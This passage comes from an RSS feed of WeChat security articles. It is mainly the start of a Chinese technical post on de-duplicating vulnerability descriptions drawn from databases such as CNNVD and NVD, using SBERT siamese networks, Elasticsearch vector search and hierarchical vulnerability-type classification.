34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;line-height: 1.75em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section class="mp_profile_iframe_wrp" style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><mp-common-profile data-index="0" data-id="MzU5ODE2NDA3NA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/7lCiaSMMkhia7dpwexuaibUE3Eb0z03gPLaYB4PHo7G8BE9eAlRk9NoXRfjDMAxXV0OSYSdZS7KPqic8GNUkqxch7g/0?wx_fmt=png" data-nickname="墨云安全" data-alias="moyunsec" data-signature="墨云科技，更智能的网络攻防！" data-origin_num="32" data-is_biz_ban="0" data-isban="0" class="js_wx_tap_highlight" data-from="2" has-insert-preloading="1"></mp-common-profile></section><section msthash="837304" msttexthash="11380889" style="margin-top: 15px;margin-bottom: 10px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;text-align: start;font-family: Optima-Regular, PingFangTC-light;font-size: 15px;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">在看</strong></span></section><section style="margin-top: 5px;margin-bottom: 15px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;line-height: 1.75em;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837305" msttexthash="16926988" style="outline: 0px;max-width: 100%;color: rgb(136, 136, 136);font-family: Optima-Regular, PingFangTC-light;font-size: 15px;letter-spacing: 1.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;">分享给小伙伴</span></section><section style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section style="outline: 0px;max-width: 100%;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="837306" msttexthash="88348169" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓</span>↓点击</span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(99, 121, 161);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">阅读原文</strong></span><span style="outline: 0px;max-width: 100%;letter-spacing: 0.544px;font-family: Optima-Regular, PingFangTC-light;color: rgb(178, 178, 178);box-sizing: border-box !important;overflow-wrap: break-word !important;">，了解更多墨云信息</span></span><span style="font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></section></section><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="http://www.vackbot.com">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9e597fb0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNzIxMDUyNg%3D%3D%26mid%3D2247484929%26idx%3D1%26sn%3Da7422ee543efe7e2eecf1b5e7ebed14d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 04 Nov 2022 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>基于SBERT孪生网络的漏洞描述归一化</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484915&amp;idx=1&amp;sn=82f13aaded590b6134c85928adb82888</link>
      <description>在人工智能高速发展的今天，CV和NLP领域技术具备多种成熟的方案，采用NLP技术来代替繁杂的人工工作已是技术发展的趋势。</description>
      <content:encoded><![CDATA[<p>
原创 <span>7777777</span> <span>2022-09-30 16:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>在人工智能高速发展的今天，CV和NLP领域技术具备多种成熟的方案，采用NLP技术来代替繁杂的人工工作已是技术发展的趋势。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=ef48fb33&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplTeLZwnl2uib3pZIcGJ6sU7Vahia72SfLZCohofSofnAAV9TxU0OhP0Dicr5xQsEvv97fyKPup1Yic04Q%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section msthidden="1" style="margin-right: 8px;margin-bottom: 24px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qpic.cn/sz_mmbiz_png/0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5lWorq5EHkq0S23icUZq77ney00MjKAUXEicQiaeOzjibibNFgJRyS6jL4Yg/0?wx_fmt=png" data-cropx1="0" data-cropx2="500" data-cropy1="0" data-cropy2="386.9047619047619" data-galleryid="" data-ratio="0.772" data-s="300,640" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 84px !important;" data-type="jpeg" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=ef3468d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplSVAeJNFpOlXC5uBg86icOw5Hyd9IkZVo0JUSV5nPeVNVriaFQKWJ59ODSQiafWYYvZs3fadU0JPjQ0A%2F640%3Fwx_fmt%3Djpeg%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-right: 8px;margin-bottom: 24px;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438321" msttexthash="25869584" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);font-family: -webkit-standard;widows: 1;font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">V-实验室实验室</span></strong></section><section msthidden="1" style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-ratio="0.1875" style="outline: 0px;font-size: 16px;letter-spacing: 0.544px;widows: 1;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 67.691px !important;" data-type="gif" data-w="128" data-width="10%" src="https://wechat2rss.xlab.app/img-proxy/?k=8c660053&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2F2TSketEedQ9mmk8nGa8zUv26iapUUPIczjUGSuap1ZqpQO56wnwGGmwkicPphswx7DG3CgAribFoibGw48d3VoQ17g%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></section><section style="margin-right: 8px;margin-bottom: 0em;margin-left: 8px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><p style="margin-bottom: 24px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">漏洞</span><span style="font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;">扫描评估产品主要采用基于漏洞知识库的技术进行漏洞信息综合处理。</span></p><p style="margin-bottom: 24px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="251134" msttexthash="5176065349" style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞知识库通常是由各国信息安全中心及信息安全厂商和组织组建的涵盖漏洞各维度知识的漏洞库，如CNNVD 、NVD等。也因为这个原因，各平台间的漏洞存在描述重复。使用这些漏洞知识库时需要将数据做汇总，进行漏洞归一化，通过多维度知识数据去除重复。对于相同ID编号可直接根据ID去重，但部分平台描述是没有统一编号，这就使归一化工作人工成本陡增。</span></p><p style="margin-bottom: 24px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="251134" msttexthash="5176065349" style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">在人工智能高速发展的今天，CV和NLP领域技术具备多种成熟的方案，采用NLP技术来代替繁杂的人工工作已是技术发展的趋势。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;outline: 0px;font-weight: bold;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;text-indent: 0em;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于Word2Vec+TF-IDF技术的归一化处理</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">归一化的处理大多基于文本关键词的Word2Vec+TF-IDF技术做相似性比较，这种方法对于字词高相似度的文本具有一定效果。但数据中若存在两个相同的CVE_ID描述信息使用不同语序和同义词的文本描述，则效果较差。Word2Vec+TF-IDF技术虽对小批量数据处理较快，但对于大批量数据去重速度较慢，且在去重工作中很难或是无法识别重复的漏洞描述文本，因此在工业场景难以落地。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">基于SBERT孪生网络的漏洞描述归一化</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">为保证漏洞描述归一化管理的精确度，需要从相似度、主体词、漏洞类型三个维度来判断重复漏洞描述。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">首先采用预训练模型Sentence-BERT对漏洞描述文本转化成固定维度向量，基于余弦相似度算法做相似度的对比。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">其次，用各个漏洞描述主体词判断漏洞描述之间是否一致，保证主体词一致。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">最后，采用HMCN（Hierarchical Multi-Label Classification Networks，层次多标签分类网络）模型预测漏洞文本的漏洞类型，判断每个漏洞类型是否一致，从而得到更高的精度。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">实际工作中，为解决项目工程落地响应速度问题，可将文本转换成向量转存到Elasticsearch向量搜索数据库，做文本相似度搜索，响应速度仅需几十毫秒。整体框架图如下：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8746770025839793" data-s="300,640" style="" data-type="png" data-w="774" src="https://wechat2rss.xlab.app/img-proxy/?k=218f69f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTeLZwnl2uib3pZIcGJ6sU7VLXIIxRiakKfMLmfUC0hX6ImwGyNEaGf7puT6qqwDBFcY42PmoLfGDgQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;text-align: center;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><span style="color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 12px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">图表1</span></span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">数据特征处理</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">漏洞描述文本通过数据预处理后，将同一个漏洞标签不同漏洞厂商的漏洞描述作为一对正样本，构建负样本需要特殊处理，预训练模型对于字符文本相似性高的很容易召回，因此，负样本的构建要拉大与正例样本间距离，让模型能更好的学习到每个漏洞描述之间的语义关联关系，提高模型召回率。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">相似度模型</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">相似度模型是孪生网络和三胞胎网络（SiameseandTripletNetwork），模型架构图如图表2所示，之所以选择这种网络原因是“孪生网络”结构简单，训练稳定，是很多文本任务不错的baseline；图表2中所示，左右各有一个BERT编码网络，将输入两个文本编码后，经过池化特征提取后得到两个句子向量（维度为一维长度是256的向量）。将输入映射到新的空间得到特征向量u和v，最终通过u、v的拼接组合，经过下游网络来计算文本Sentence A和Sentence B的相似性。由于我们数据集有中英文两种混合因此采用hugging face公开预训练多语言模型（paraphrase-multilingual-MiniLM-L12-v2）来继续fine-tune漏洞描述领域数据。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.9927797833935018" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=bd908804&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTeLZwnl2uib3pZIcGJ6sU7Vk3qsOrzOojJEUo04ZFFrsbIun4PHz4CNUjfcoHAgXIic2zXqZ34ibVCg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;text-align: center;overflow-wrap: break-word !important;"><span style="text-indent: 0em;color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 12px;letter-spacing: 0.544px;orphans: 4;text-align: left;white-space: pre-wrap;background-color: rgb(255, 255, 255);">图表2</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">模型编码后得到特征u、v后，可以直接使用cosine距离、欧式距离等得到两个文本的相似度。其他应用场景更通用的做法是，基于u和v构建用于匹配两者关系的特征向量，然后用额外的模型学习通用的文本关系映射，特别是场景不一定只是衡量相似度，比如问答、蕴含等复杂任务。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">基于模型编码后的向量，存到ES数据库中，基于ES数据库提供的向量相似度搜索算法</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">CosineSimilarity来完成向量搜索召回。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">ES向量搜索好处是速度快，可扩展数据能力强，更符合我们实际业务场景。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">漏洞类型分类模型</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">基于CWE官网中给出的常用高频漏洞类型，再结合CNNVD官网Top25漏洞类型，得出模型分类类别和层级关系。如图表3所示，常见的文本分类任务中，类目之间通常是正交的，即不存在包含关系。而层次分类则是一类特殊的文本分类任务，HMCN（Hierarchical Multi-Label Classification Networks）网络能达到层次分类的目的。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6423076923076924" data-s="300,640" style="" data-type="png" data-w="1040" src="https://wechat2rss.xlab.app/img-proxy/?k=049d33a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplTeLZwnl2uib3pZIcGJ6sU7VnnzLRWVyrmR990d5nvzFPv0L83TppVlJBj8KOVznKyxOJJQdsHZftg%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: 